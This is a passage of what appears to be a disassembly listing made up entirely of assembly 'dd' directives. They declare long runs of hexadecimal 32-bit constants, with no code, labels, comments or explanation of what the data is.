		dd 11FE3B51h, 0A0EA5706h, 3C21B459h, 7F007E35h,	0AE5D628Bh
		dd 0D74CB307h, 6E778090h, 266FEB5Eh, 745A8Ch, 9ACDEA56h
		dd 0A1004E90h, 0EEF874DFh, 1EC86E3h, 0F403B22Fh, 0F57259A7h
		dd 0E8E4FA5Eh, 0FA8C6300h, 0FF293219h, 554C007Bh, 0D3064858h
		dd 59055744h, 80AA2EE1h, 2F4E9482h, 0EE1EBF00h,	3B00B831h
		dd 77F5A07Ah, 70E5F982h, 75BA077Ch, 86A937B6h, 511380EAh
		dd 48D2B384h, 0E452F8h,	7E9F97D6h, 215BD199h, 0FA04E512h
		dd 47BFF008h, 9C28F5Eh,	0DCE08B79h, 5A8854B4h, 0BFCB1C0h
		dd 14907F84h, 8B007691h, 22B06170h, 2CB369C8h, 0E781C1Eh
		dd 862B4E9Eh, 0A51DE400h, 0D7522FE7h, 0B81F4ACCh, 80220300h
		dd 30E97210h, 0C594CD9h, 0B4010E3Fh, 95FA70A1h,	44F0B339h
		dd 3C820012h, 0E06B0CD4h, 0F609F27Fh, 84A4F7BFh, 0F5C0DE5Ch
		dd 24BCE8A2h, 4050D2A8h, 0FF7B7240h, 24D4400h, 0D511E879h
		dd 7807006Ch, 0CE93D30Fh, 0CCB1D2AAh, 0F048C600h, 2238946h
		dd 85647B27h, 0B051C166h, 0B5DD30Eh, 0E958879Fh, 0A109F84Ah
		dd 0E6D090D8h, 0CC0C1FACh, 880740B9h, 0C95C4BA4h, 0BF53F802h
		dd 71B45A69h, 0E4862D68h, 0C7001131h, 4A34AA2Dh, 0B3D3DBh
		dd 667AA46Ah, 96157F77h, 8C35C0Eh, 512943B7h, 0C00C8A72h
		dd 522EA284h, 0E47CB0DFh, 0A56E00C8h, 738207C9h, 7899AF5Ch
		dd 1FA0D384h, 0DFC098C0h, 5C9C0576h, 80EA8AFEh,	67D15A7Bh
		dd 0B47B1200h, 66022FE0h, 88AD6082h, 0B0F7A573h, 9C8049DFh
		dd 1D0317D6h, 8FF400B6h, 228E6576h, 0EA03D993h,	6CCFD5FEh
		dd 0E1F601B5h, 51076323h, 27282DB4h, 0B1D40055h, 1D4E6225h
		dd 80B22EFAh, 0B91E80E9h, 0AF015EECh, 0EDBF5CD1h, 0E832D351h
		dd 0F5E9DF00h, 5F97BAD7h, 8928B776h, 0C3EEBE71h, 16EC1F58h
		dd 0CC00EB22h, 81154C73h, 0D7692967h, 62E00E4h,	196E6863h
		dd 1350F44Ch, 0D090D2D5h, 0ECB82Ah, 6FB5A71Ah, 9D3AC99Bh
		dd 8E164900h, 0ABFC095Fh, 0B93B245Eh, 0E9E04088h, 0E82DDDCDh
		dd 8CB890E1h, 921E00D0h, 37F7C1A9h, 724C58BDh, 95CF17BDh
		dd 6000C885h, 0C9DDDF02h, 0F52708F7h, 448034D8h, 18A43CE8h
		dd 49640C68h, 949C86C8h, 7F666913h, 0D0FD5830h,	0C8B0EDh
		dd 0EEB29BC0h, 0A6F74AD1h, 2A70BE0Fh, 2053EBFDh, 598B6AE0h
		dd 1EC4ACBBh, 0FBDCB40Fh, 81EF4E00h, 0E7EBBC1Eh, 0EA8C691Dh
		dd 0B1CA9B41h, 43EC1EEh, 80D581E8h, 5194271Ch, 0D3EBA01Dh
		dd 0A1007010h, 5C6CE28Ah, 6201C2C8h, 46E1F009h,	442DD84Ch
		dd 0FB6F5901h, 0D0B3A68Dh, 0A850147Bh, 6C5A6288h, 48DB0009h
		dd 0E86E4CCCh, 7C9D004Dh, 0EC1684F2h, 3307FB37h, 4AD544D4h
		dd 18492D47h, 0A87E4h, 33C451AAh, 3CA09B2Ah, 9ED65Ch, 0F449388Ah
		dd 5C105AD7h, 5C00091Eh, 92AEF781h, 56132580h, 5405AA13h
		dd 9460EDB7h, 9EEC684h,	0E7220CE1h, 540FECC4h, 0C0F1116Ah
		dd 0E97E3910h, 2FFA391Dh, 0DD88550Ah, 0D1300064h, 0FBB08CC9h
		dd 0E0986AF8h, 707E1601h, 3FDBF1DEh, 0A3132980h, 0A1C2D7Fh
		dd 0E77AE575h, 20D9A125h, 6532BDCCh, 98834829h,	0A0EFE902h
		dd 0E0C8E4F8h, 9503743Fh, 46447053h, 938BF964h,	328F6F6h
		dd 7DC259B0h, 2FE855A0h, 0D850E64Bh, 0E04E78E0h, 83B4D440h
		dd 1F56DA8h
		dd 181D8121h, 4578C12Dh, 6FC0C28Ch, 4EF4BC70h, 3B4A700h
		dd 518EE3F9h, 0E899D8h,	684D52DFh, 59710BFEh, 9200A874h
		dd 1C6912E2h, 588B50BEh, 0A40B0406h, 0FC19A6F4h, 5835CC6Dh
		dd 56EB9600h, 6FD224A9h, 6C7CF925h, 8B7CB301h, 33A073C4h
		dd 0F71502D0h, 618602A9h, 40D6B37Ch, 2018154h, 7F03876Ah
		dd 8444EAA4h, 8D7B1807h, 6CC68CC4h, 90193928h, 26DE5D80h
		dd 7EE17C0Ch, 0DA2F4D14h, 1878B8Ch, 1ED7967Fh, 522EDCF1h
		dd 324B24Ch, 0A95EEA53h, 6324F83Fh, 0D8A80F1Eh,	89626CD2h
		dd 0EF207CDAh, 1E8F3EB7h, 0CF5A0C54h, 0D60F6E3Dh, 0B5066FEFh
		dd 0D35E292Ch, 0F5840840h, 5C846h, 0CFC38119h, 309C2A49h
		dd 6B0E0304h, 0C3C0875Eh, 98578358h, 7B11ED50h,	0A85DE866h
		dd 0D8BCFD13h, 0E120C890h, 925416BDh, 0E309007Fh, 7A2DED9Bh
		dd 8F0908B8h, 5AD1F7BEh, 1F11006Ch, 79E56955h, 580473FAh
		dd 30B02391h, 0C760480h, 0EFF417A8h, 0E040370Dh, 5E0BC946h
		dd 0E9BD5F01h, 0A2DC4A6Ch, 0E12AB1DCh, 0EF841C2h, 0B9B68B30h
		dd 28102580h, 0BAE447B2h, 1B7E5700h, 0C5D810D5h, 0E7F42E92h
		dd 4B5C28E0h, 5FA040D9h, 7BFE3F73h, 0D7945300h,	0CFB76A65h
		dd 0E010978Dh, 0F302DD79h, 8FB6399Eh, 6851EFh, 141EDA04h
		dd 0BF00E0F0h, 0FFBBD305h, 33D949h, 4A1531C9h, 0B1C25C91h
		dd 0B383DE0Bh, 0B4646443h, 38D75050h, 0F2ADF100h, 7F362739h
		dd 4D1301FFh, 35F50EF9h, 0FADCD17Dh, 99BCD820h,	0E234605Bh
		dd 0DE5CCF10h, 6BFEA12h, 0E600C4F2h, 0B582DA59h, 9AE49072h
		dd 0E27F2F13h, 0CD7AF502h, 68F929h, 881FF0BAh, 85001AA1h
		dd 0F2FC24F5h, 16F16623h, 889FE819h, 0E51FDF6Ch, 6218D2C5h
		dd 1C14638h, 12B2FA27h,	200BFDDBh, 58B0EABCh, 4CF25Dh
		dd 47DAA69Fh, 735CC8h, 0F4A741A8h, 0D4DCBF50h, 0DDA3E30Ah
		dd 0C60B0E9h, 7F4D97h, 0CC6C0F47h, 0A7823EA0h, 7743E701h
		dd 0EF2D731Bh, 7CA4202Eh, 1600ED1Ah, 34C212C4h,	13DB06Bh
		dd 0EEDFA4D1h, 84E66231h, 0DD19B394h, 11F90C8h,	6FD55732h
		dd 605662B2h, 0DE72E050h, 9780D4B9h, 94AFD0EFh,	0FEFA00D4h
		dd 63CF363Dh, 0C00E287h, 688A5109h, 3B73F980h, 0B40F7D1Dh
		dd 0CE02A7A3h, 9C5AD734h, 0A3C1C00h, 40217F8Fh,	93DC0309h
		dd 588169Eh, 0E7E59B88h, 0D85CB498h, 48DD8B9Ch,	7948498h
		dd 9BB7D176h, 0EDBBF1C7h, 22A0F37Ch, 93038AFFh,	91986C94h
		dd 9DDE8073h, 0B1E3071Eh, 10D9335Eh, 0BF1934A4h, 5CAF2E07h
		dd 0D7609B68h, 125FD60Ch, 3F59DF8h, 80320788h, 23C6A0E7h
		dd 60067B02h, 0ABEC572Ah, 680B00DAh, 9A3474A9h,	9070D096h
		dd 0A41C31C3h, 7F2DB0C6h, 477476h, 37098502h, 0B89CF120h
		dd 0DE037474h, 0FE5F4672h, 0FA38CEAAh, 838F00FCh, 67A18E2Ch
		dd 4D0C9E4Bh, 90719131h, 6EB6880Bh, 147AD600h, 47F901DAh
		dd 50541FDEh, 1756C3C5h, 0A5C02063h, 0DC603C0Ch, 90F1BF58h
		dd 180A043h, 8C49C106h,	0E4A46A4Ah, 750357BDh, 0CB208430h
		dd 9059E8F1h, 0C1D4E63Dh, 0BA09FF41h, 776EC441h, 6F0006F4h
		dd 9B22EFE5h, 5449AF34h, 0C85A465h, 0DDB87682h,	0A83D77F8h
		dd 155483E6h, 3D987F55h, 0F70A6E20h, 0F8409D9h,	686FAA8h
		dd 1600994Fh, 8D3D8646h, 4432E4h, 0C0689E66h, 0AC67EAAh
		dd 0A4947528h, 20B3B900h, 1840D64h, 414E6004h, 137D46D1h
		dd 0F93E6500h, 381E92Bh, 0B23D14B6h, 0EFC0A4FFh, 4A2F1150h
		dd 0FB9AD307h, 646AAF8Fh, 350FB600h, 0C888E6Ah,	0A5126D50h
		dd 54009018h, 1496FFDEh, 1B61D59h, 0CA1B5001h, 70F17B88h
		dd 0F73CE3B7h, 0D0700685h, 671098Ch, 6F5A791h, 0AC001133h
		dd 4FEDC284h, 5DB286h, 189C6A6Fh, 22699AE8h, 0C9585915h
		dd 49DD26C0h, 0CEB61600h, 0E53FE23h, 586EDFC1h,	0F913A961h
		dd 5900CB06h, 48893924h, 3DD04478h, 1280C1EEh, 77B22BAEh
		dd 6A0CCED8h, 31820CC7h, 0A49019Ch, 6EF5B72Fh, 0B58050DBh
		dd 1C0068F2h, 2C1B6567h, 7B2A41Eh, 665D3858h, 231710Ch
		dd 0A7E884C9h, 70837A56h, 0D68CB157h, 44DCCD4h,	0CFFF721h
		dd 88BF4A36h, 0BB806137h, 0AD5A743h, 76F6CF80h,	9E544014h
		dd 11C0EAA3h, 24238337h, 0A27A0067h, 0F1F5162Eh, 1F004697h
		dd 53323176h, 7009E1B5h, 2AF00CE9h, 0E769D96Eh,	0B13F4E00h
		dd 0A189F6A6h, 3C371E8Bh, 222FC0CCh, 0F2D7074Fh, 0D4E6D029h
		dd 0FDD4EC00h, 75B98DB6h, 0C7E0C3E0h, 2118FA8Ch, 1799EBA3h
		dd 0C401002Dh, 49A22FB2h, 270098C3h, 0ABA5A1DCh, 9E7EA96h
		dd 4BB02187h, 43DF3490h, 7C0C8678h, 0F1C65954h,	8BAC0014h
		dd 1D537E3h, 87FA2353h,	9890881Dh, 0D621BFC0h, 0E9C342Dh
		dd 0D078DE0Ch, 544095AFh, 7EA71B5Dh, 1CA5B700h,	579D1051h
		dd 4359C0CAh, 76F3CE70h, 0C0245000h, 0F1A6F764h, 680C496Eh
		dd 0BD271C7Dh, 0A70D40E6h, 0AB8A8B8Fh, 0EE856502h, 4407F9FBh
		dd 0E43F072Ch, 10664C45h, 0A93D1417h, 0C78C632Ch, 0BAEA0200h
		dd 9099903Bh, 0A3893BFCh, 114CDFA4h, 1A33004Eh,	73AB7547h
		dd 66BF0794h, 84FE9C90h, 639C83E7h, 32075EF9h, 944E1C50h
		dd 8AF29F41h, 0A050CE6Dh, 17C815h, 149DD1C9h, 279AADF4h
		dd 0A8A3E800h, 0C5F062D4h, 0CF50A4Ch, 8AD4AE86h, 8F88D857h
		dd 0C07CCFEDh, 8288AD12h, 0D4928A04h, 117CE443h, 183493C7h
		dd 7E49B1A3h, 0C87707E0h, 0D15A949Fh, 0E416A62Fh, 0B070A7E6h
		dd 0CEA9C06h, 4C31BC25h, 9A0CCCDDh, 7681C357h, 0E8941400h
		dd 461AE382h, 0F74C008Dh, 936E4D64h, 4E057A9Ah,	940120F6h
		dd 81606887h, 0E6807F0Ch, 914B189h, 28104AAEh, 5A3622FFh
		dd 3061CCh, 13CB77DDh, 56A833D3h, 43536100h, 7A720FE2h
		dd 0B7A4305Eh, 0F5793949h, 59E9D81Ch, 6F014340h, 5AB27Ch
		dd 588280A8h, 97C710B1h, 0E04C5600h, 0CFE8E39h,	95C913Dh
		dd 242E136Eh, 4CFCC2C0h, 0E4B0F1BAh, 940F1B02h,	0A0303147h
		dd 0A03FF5A4h, 5EBD5CA4h, 8726C01h, 0FCE390F4h,	0DF00C624h
		dd 2D6DE49Ch, 2C287443h, 4A602F0Ch, 0F1420E78h,	510B1897h
		dd 0C9C0B5A4h, 9B71CB6h, 662D0461h, 0BC82580Ah,	0B8B7401Dh
		dd 489C0200h, 0CB50B05h, 3980FFCFh, 0ABDEF887h,	64989698h
		dd 0C627A0Ah, 0AE41E080h, 34E44E28h, 0A84C99D5h, 84D954C4h
		dd 609B89D6h, 8600D1E8h, 0F122BA64h, 9966D9B7h,	0EB6B8044h
		dd 0BC31DFE3h, 0F53C5C00h, 599245DAh, 583B055Eh, 80333A60h
		dd 0E2F29390h, 42894CBh, 0AF835090h, 648CC491h,	36AB00BAh
		dd 0BBD32EC0h, 9774F589h, 80185A58h, 5173E190h,	0C8EBF36Fh
		dd 0C6A05Eh, 0AAA1344Eh, 22FA8F3Dh, 0A96B0100h,	7F0A6293h
		dd 19CF0FBh, 0AEBFE2EFh, 52ED880Ch, 0F8905884h,	0DB00E54Dh
		dd 723C35BBh, 0A82D89h,	366C1AADh, 65E08E2h, 75FC0445h
		dd 7DEF5C35h, 55195705h, 0A9A4323Dh, 2D00F066h,	0EDA84CF0h
		dd 344FB4h, 7E638613h, 397F3ACCh, 0B584F800h, 8397A51Bh
		dd 0CB02340Ch, 82B4C049h, 100EE6Fh, 3DF3A7E1h, 71F22BCh
		dd 9F392858h, 43911D07h, 0C1B4B066h, 0CAC1209Ch, 736ACC61h
		dd 9472045Ch, 0B488A35Eh, 9D1200DCh, 0B9434FC4h, 0C8A01644h
		dd 6E607ABh, 0AF591163h, 0F035F8C1h, 0CC5405E1h, 1F5C1B7Ah
		dd 83BE0ABAh, 0CF85B974h, 0C0A0791Ch, 384ACD5Ch, 9F6B9538h
		dd 888675CCh, 7E834Dh, 3CA97456h, 7A575099h, 6D9DDD00h
		dd 0C38BE0Dh, 8CCD483Eh
		dd 89FFEA86h, 0D64A2609h, 955002C9h, 0E0260B6h,	482098FBh
		dd 720A7089h, 4318E7D0h, 8197CDDh, 86388A6Fh, 60A98441h
		dd 6473930h, 571A638Dh,	8A031872h, 41911504h, 84D6F95Fh
		dd 8D057023h, 1F60489Dh, 3F6500E3h, 511AB99Ah, 736CD000h
		dd 54D7DE24h, 0B0BC0977h, 0AC047428h, 646F46C7h, 0D4110049h
		dd 0C8D21D93h, 0B406D0ABh, 17542949h, 5BE001A8h, 0A32C879Ah
		dd 130C60BBh, 1FD4A541h, 7E453D77h, 72C0E580h, 89FB1761h
		dd 3A68200h, 0F123948Dh, 0DDAB0590h, 80959F56h,	5952B4ECh
		dd 0B89D160h, 0E5AB9927h, 8BBD2060h, 1B303000h,	1C14549Bh
		dd 906D0CA7h, 0A1502041h, 0AF4909C2h, 0C488157h, 418DB691h
		dd 216153AEh, 0F872D8h,	40AB7C41h, 1E4862ADh, 0FAF1B003h
		dd 0B0F67594h, 16558B00h, 234EC14Ah, 88993BF2h,	25785705h
		dd 1E53E498h, 0BC2836h,	372ABA04h, 47123879h, 940A8186h
		dd 6C10F077h, 0DEE46E05h, 1F881DF0h, 63F4C542h,	730C22Ch
		dd 0D900D8C4h, 4C998287h, 1C57A14Dh, 8C75C568h,	0A5F003DDh
		dd 126E2211h, 26D0A201h, 0C07C27B8h, 13008A3Fh,	971FE495h
		dd 0FF20DDh, 0DF780142h, 98BF9976h, 57229A00h, 44494F06h
		dd 0EADC0556h, 9563F7h,	0FB88A0A8h, 26792D0h, 0A0BF5491h
		dd 0CBCF714Ah, 0D0AA5296h, 0ACCDBA01h, 0D8665490h, 87093286h
		dd 377DBDFh, 16F19920h,	8292158h, 0F3A403F4h, 0B0A50F3Fh
		dd 1BFEE032h, 85C8A9h, 908F92DAh, 6FD2743h, 0CA310C60h
		dd 377AFDFh, 0BDBEA421h, 8F8F0D3Eh, 44E53DDh, 47CB3570h
		dd 39FCE1D0h, 0C570171Bh, 9CA6105Dh, 0D059500Ch, 0C20C3929h
		dd 7E2FB5A6h, 0E4700016h, 13EFB264h, 0F10F4927h, 0D8350CB0h
		dd 6007F731h, 4F8B5908h, 0E0009E95h, 2C3550Dh, 1819A746h
		dd 31C259C1h, 0EA073C5Eh, 72A59189h, 56E27330h,	3F1900C1h
		dd 0C9E7D6D7h, 0FE008BA6h, 7027E5FFh, 0B959F6F5h, 3F6F0028h
		dd 0DE345ABDh, 60643C05h, 0FC08293h, 9D1F3Bh, 751C069Bh
		dd 0AADE0C78h, 0B900FF7Ah, 0BAEDCECBh, 925E4AB0h, 80ECB17Ch
		dd 0BEF019EAh, 5B00588Eh, 0E35D0169h, 0A61B96h,	437390F2h
		dd 0F724E4F4h, 0F88DD019h, 0E872A439h, 0F9A85E00h, 47AB1CA9h
		dd 7DED200h, 0A601D842h, 255300Bh, 90FDBF29h, 34595126h
		dd 0FCA21040h, 75F67Ch,	0C10DA743h, 0D1AF2148h,	7C589B28h
		dd 0C6D33B00h, 0FF953C91h, 16480088h, 0BEEA9F3Fh, 9178020h
		dd 0A420A3BBh, 70398Bh,	7D74C697h, 1FB647A7h, 2BEC25h
		dd 0C3256E30h, 6F801394h, 31744067h, 6A43493Eh,	0D5F27217h
		dd 83BBF008h, 0C1E3803Fh, 60BC20C8h, 6B91113h, 197348D0h
		dd 82410075h, 7ABAB35Eh, 1B4CF599h, 260F0433h, 0CCC3D70h
		dd 972C0074h, 0E687829Eh, 0A009501h, 0ADE54C62h, 2C515453h
		dd 402859BBh, 0DE60492Ah, 6FF1B07h, 224088DCh, 2052C20h
		dd 0A6E24023h, 0CC85967Dh, 0C4CA34h, 0F294699Ah, 1263277h
		dd 1DE0AD6Eh, 207262F4h, 32E17A10h, 23A780ACh, 3290F73Ah
		dd 2582145h, 40F25322h,	2ADF7098h, 9CD86Fh, 6E5D2DC0h
		dd 78D6BE2Eh, 49EF6D0Fh, 9FF16370h, 0FD44C0DFh,	8D0D28FFh
		dd 0F9450434h, 0CC0508F0h, 0CF2E9F58h, 8E005F1Ah, 4C0F135Fh
		dd 0F7B70CD3h, 3B39B3AAh, 0B50BB00h, 0C6C80445h, 55CD0369h
		dd 25CAF61h, 1421914Fh,	0B270FB45h, 0DFE10031h,	0B1BC48CFh
		dd 0A90FA6AFh, 732286F5h, 7D70B802h, 2FB0C187h,	6EBF6989h
		dd 9F123CE8h, 5CEBA07h,	0B9C102D4h, 63C87DC5h, 907F0A0Bh
		dd 0C3A0870Ch, 6EF90418h, 84418066h, 931AAA55h,	0D67357h
		dd 69022633h, 20DE64C8h, 0AFFC9905h, 84420D4Fh,	71330CFFh
		dd 0D6E110D0h, 0B9A54402h, 934E1E4h, 60898A11h,	0DE05539Ch
		dd 0B0011956h, 0E893C4C3h, 0C96DC15h, 0A07F627h, 33EC4B31h
		dd 39F1C900h, 0E87B5B7h, 28E850D0h, 0C4DF70CCh,	40D23788h
		dd 0A3FB141Eh, 398B3CDh, 0E3286F4Dh, 3D16DC98h,	0B5996000h
		dd 0FEB28F3Ah, 2CF25222h, 0FFA9BC3Ch, 94F480D0h, 8688F655h
		dd 490F5A00h, 0FF06DCE6h, 13901C4h, 8E22EB60h, 176822AAh
		dd 0E009D5Ch, 6FD87EC7h, 0A3A004E9h, 0CC4BAF3Bh, 0C2017CC4h
		dd 128F591Ch, 0A230172Ah, 61BEEABh, 0AA979F50h,	810051B4h
		dd 156D07CDh, 0F0E7E385h, 0C9510959h, 70116EC4h, 61E9F909h
		dd 0F5B2F0D8h, 0BB9D880Fh, 0F9807F7Ch, 9FC33FBDh, 0A3330220h
		dd 0A06C7FCh, 0F07DB623h, 0B8ADCD4h, 7E855EF7h,	2A3D4381h
		dd 7B88DC9Bh, 884C272Eh, 0E5061A00h, 52DED0B9h,	2019855h
		dd 67C28F8Eh, 815F600Fh, 4020B9CBh, 245526D4h, 4040820Ch
		dd 0A71D7448h, 98F7E00Eh, 9E4340DAh, 12232AC8h,	0D05922BDh
		dd 2E37F348h, 7D170300h, 34312DB8h, 70772CE8h, 11F630Ch
		dd 1E6BD9A0h, 2EBB2400h, 0BA96F418h, 9DF10921h,	498790Fh
		dd 0AC00E742h, 93A61058h, 773231E5h, 17910015h,	0B0C169A8h
		dd 2FE3FFC5h, 555E6DC0h, 0BBD89639h, 7CC7AA6h, 0C7CEB79Bh
		dd 798270C6h, 0C23ECAFFh, 9010A4C9h, 0AB090780h, 5B90F6Bh
		dd 20D6E773h, 138845C8h, 88D4C1BAh, 3D84296Dh, 315D004Fh
		dd 0A662285Ch, 34BEE18h, 342AE1A3h, 27E0C451h, 50799CD0h
		dd 0AF5408C2h, 3E805257h, 7C4CF4FFh, 5621440Eh,	999D9500h
		dd 4C9CAA8Ah, 0EFE21A80h, 9EC757D0h, 1E5E635Ch,	0F6F195A0h
		dd 0F507C890h, 0A6ACDE87h, 406C7CE2h, 16234ED8h, 82F54B3h
		dd 78ADC94h, 570D997Bh,	7C6389DAh, 0B44F280Eh, 50013747h
		dd 52D3DF9Eh, 7D0DD403h, 0FEA96293h, 0FE7A0199h, 76CACCBh
		dd 0E88B60B2h, 0D0E28EFCh, 0C449934Bh, 0F88C48A3h, 3B5C053Fh
		dd 0C2F708FEh, 0B028D274h, 0E2ED3904h, 68505C82h, 0A455AF38h
		dd 43E4B4B4h, 74F834B8h, 7700538Dh, 28AF440Eh, 9C5AB763h
		dd 0DB8B805Ch, 0D675B65Ch, 3A9F0E00h, 1B2F55Bh,	500B0084h
		dd 7D91A555h, 0C5050C4Eh, 0AAA720B0h, 0FC1338C8h, 0C9140071h
		dd 0EC8F8AFAh, 61016BD8h, 22A79711h, 82F00621h,	0AB3A1E77h
		dd 0A95640B8h, 26F85405h, 0F1781B19h, 0D88541C8h, 8C6B7195h
		dd 7C0059E8h, 6CDC0ECCh, 3BA11985h, 308377B4h, 28EA61E2h
		dd 0F2D56B8h, 0D73E1A00h, 0F98F5DE5h, 109E21h, 819B9E4Ah
		dd 4E3A7A82h, 0D0E709B1h, 0BC50C8EBh, 26D1C01h,	0BA7E802Dh
		dd 85622149h, 8A788202h, 20B5A334h, 0E1686E30h,	0EC79AE1Eh
		dd 99C0F4C0h, 4204547h,	6EDF7293h, 3B8C900Fh, 0CD1D0AE0h
		dd 0DB0E7EA2h, 417D0F91h, 7BB7376Dh, 0BDDABE0h,	5AF44D54h
		dd 20273090h, 69ED4700h, 108B282Eh, 8E1B0994h, 101006E8h
		dd 7807432Dh, 9634BC4Ah, 0FC2049BBh, 5EFC4C31h,	4C020077h
		dd 8FFA0AB2h, 19FA4395h, 1546C305h, 0E088A408h,	5B6600B6h
		dd 13312BF7h, 0B200F139h, 79329594h, 0B65AB897h, 5CD58F94h
		dd 707E6040h, 0A23DAE80h, 57950107h, 6E203F17h,	3007143Dh
		dd 0A0D212E3h, 9AC9C3D8h, 540222F6h, 8D470B61h,	0E5588006h
		dd 0F24877C2h, 0F1A800BDh, 62DA5A2Bh, 0D3396601h, 542E0950h
		dd 0C1CC6289h, 8AF87190h, 0FD780088h, 832C029Dh, 49002DEDh
		dd 418274C3h, 280AD06h,	0BF4257FBh, 84466333h, 0EB51B000h
		dd 5ABC5339h, 5835250Dh, 0BC477C2Bh, 10043A80h,	9D6237Fh
		dd 94FF2879h, 6903AC64h, 0D8FA61E9h, 0B291890Dh, 90581993h
		dd 62603198h, 10EE7527h, 0C33E1Ch, 87BC762Ch, 9F82E27Eh
		dd 0A40065EEh, 0C77F68Dh
		dd 58FE5E47h, 7CC310C1h, 6788AFE1h, 0A800FDA5h,	43854DF9h
		dd 0BB820F37h, 0C6040078h, 8F94F93Ch, 48FDF12Ch, 3850BB11h
		dd 7FBC012Fh, 9A4F1CD3h, 1C796Fh, 12C3B890h, 64AC2h, 0A5E87B76h
		dd 6FBBFCCCh, 0F4CB1400h, 0BDFEFD20h, 1E0EEA21h, 15EE93AFh
		dd 0E90754BCh, 67B5FFE7h, 0EEAB30F3h, 4F2FCAF8h, 92EC906Dh
		dd 9B7E31h, 0F603C051h,	6CC3A99Ch, 2660E102h, 612A3EA3h
		dd 103C8377h, 0FE405188h, 0D57382h, 54943ED1h, 56539016h
		dd 0F1C29E12h, 760B28A6h, 45050DFEh, 5E2487C7h,	0AFAB1743h
		dd 0B1CD5900h, 0CE5AADD9h, 0CA310E4Fh, 84C05B0Dh, 59521148h
		dd 0FA008091h, 0E379298h, 0F4940031h, 211CF516h, 0F892116Fh
		dd 0D801EB3Ch, 0C02E02BBh, 7174E846h, 0EFDA0014h, 0AAF881B4h
		dd 0D8372800h, 32B02CD5h, 25A800B7h, 1BB0C88h, 0F074FC69h
		dd 53B17124h, 82304825h, 657F0024h, 0A5B78505h,	0A3488FE9h
		dd 56038F38h, 297C9D00h, 12232E56h, 0D0AA81E3h,	5F375C0h
		dd 0ED4B6F00h, 0F1290C01h, 58C876A1h, 4380AC6Eh, 0E75FA42Bh
		dd 9607287Dh, 76B0506Ch, 2C9162E7h, 13205AF3h, 0A4090FF0h
		dd 0B581C8EDh, 0E00C4176h, 0D11B08C7h, 0E030742Fh, 0EB71F3h
		dd 4DF72629h, 47E59CB8h, 0C0A67603h, 0D6E2ED1h,	0CE446F29h
		dd 0D8B8E048h, 4D5F9600h, 27FC9746h, 5E953968h,	9A89A9B0h
		dd 9B006D7Ch, 9C61F3A8h, 3C34750Dh, 701D36Eh, 0F066BEB8h
		dd 0E25183C5h, 0B0390F5Dh, 1D684D28h, 3F5D521h,	5B4F58CFh
		dd 9D956DD1h, 7D4998h, 4AC978F2h, 7B337CD1h, 79B2606Fh
		dd 0D444BDD3h, 6B00F5E8h, 0F83AB340h, 9F5F4Dh, 6D85163Eh
		dd 0FD2F32F1h, 9718E467h, 8B8E17C0h, 0A5EA3F1Ah, 9861C79Bh
		dd 98953400h, 6FD87D5Ch, 0B1CA61EDh, 505E311Bh,	603B0D8Ch
		dd 727B6180h, 72A80082h, 0B3E9250h, 0CE0307B2h,	0F79D74DAh
		dd 6CA7D865h, 0D8A44Ch,	0F25F052Fh, 48D51E29h, 3C00C3F6h
		dd 3E908D46h, 30957D39h, 0A579D166h, 6900B859h,	2219042Dh
		dd 0E1D1F96h, 46681C36h, 7235D123h, 6909938h, 0C40D8E21h
		dd 93200D1h, 8CEC6DFFh,	0F814187Fh, 22EC9486h, 637FACBh
		dd 4FDCA423h, 0C2004968h, 8B56B630h, 7024955h, 61796A20h
		dd 39D226C3h, 1789301Ch, 0BE0EA340h, 3A96F48h, 0D5EC2F22h
		dd 0A5C3F596h, 0F346F160h, 3F929CC5h, 6792B136h, 20380080h
		dd 1DDCCB6h, 0AE685918h, 70ECA31h, 0D34F839Eh, 9019E039h
		dd 9CF45317h, 756FD04h,	6080CB16h, 6170D527h, 0ECF339A7h
		dd 18DED84Bh, 60BB3300h, 5F4FB2D0h, 501E0105h, 4D6CAE09h
		dd 35318EB1h, 0A581A317h, 0E846B5F5h, 0E11A67h,	0AFAA3ECDh
		dd 0D3CB0A1Bh, 8E961F0Fh, 0B83D009Ah, 97FE75Dh,	0F58F87B3h
		dd 0D324BC0Fh, 0CCEBC0BEh, 0E515D9BDh, 0A8774Fh, 586C9028h
		dd 60696F11h, 42E081ABh, 0D003D420h, 4615516h, 0B3359980h
		dd 91476CF0h, 32780F0h,	54CE250Eh, 19AF6830h, 654105h
		dd 0E12CD4FDh, 0F6176444h, 4754A601h, 70507C37h, 16828180h
		dd 0E7D5DB43h, 97814D1Eh, 90AEA701h, 4EBF801h, 0F6A55AC0h
		dd 6C1C92CBh, 0EC66ACE0h, 6988F854h, 1B79E067h,	5DEF2DE0h
		dd 8EB30085h, 0ED949720h, 0B4005E68h, 25E0AAF1h, 984675F2h
		dd 0C3802F7h, 49FC2DF9h, 99597040h, 0D67D45B8h,	8F7FAD09h
		dd 85781851h, 29810713h, 0A04A68D8h, 7F2FB0C5h,	780D3502h
		dd 814F800Eh, 0FA89D6Ch, 3164F20h, 0C7F77E2Ah, 0D812D783h
		dd 0A8007734h, 0CF5C3106h, 8C7C12A1h, 61602166h, 0F4ECD4C1h
		dd 6F1E8509h, 400C124Fh, 51D2BC58h, 7C20342Ah, 78D64CE7h
		dd 6A0CA100h, 6351B8Bh,	0F581500h, 4D133CA2h, 0CC31C36Ch
		dd 0AAB8FB8Ch, 0FF0C1605h, 79D06138h, 7365001Bh, 0C02BD32Dh
		dd 0D900473Bh, 33E7FEF5h, 4894B3h, 5270164Fh, 50FC9099h
		dd 0EC6F380Ch, 908241C1h, 0F8FA0830h, 6D9F614Eh, 6F00ACD3h
		dd 0DCCE5046h, 262700BEh, 13DAAE42h, 0E7043917h, 4E6C952Ch
		dd 0A3D52088h, 5330F190h, 0C3D7E08Bh, 0B5C86B80h, 0A1604DE5h
		dd 222D1020h, 81136061h, 0C054FC4Bh, 8C872300h,	57D2B4C8h
		dd 99A12EE6h, 4E370A45h, 0BD604084h, 36023B03h,	596AF5B3h
		dd 1C7C60C3h, 0A4211218h, 3F3820F3h, 0D10E4FCh,	0B21F6038h
		dd 96B6C03Dh, 0CD6F141h, 303ACC00h, 79D39D71h, 0F8D54C17h
		dd 6802D403h, 397D290Dh, 31FB6300h, 6BC61BB2h, 132F0073h
		dd 0CCFC70EBh, 0CAEBA876h, 17E680A0h, 0F5000408h, 0C8B8BAE8h
		dd 1F2F3D6h, 54063279h,	4067A74Fh, 1E350D7Ch, 28653700h
		dd 0FC42CB6h, 1BA10519h, 805D9811h, 0E3027454h,	0F761C5A0h
		dd 0D9A39C1h, 1FD0258Ch, 3FD300EBh, 5968DDDAh, 0C7030880h
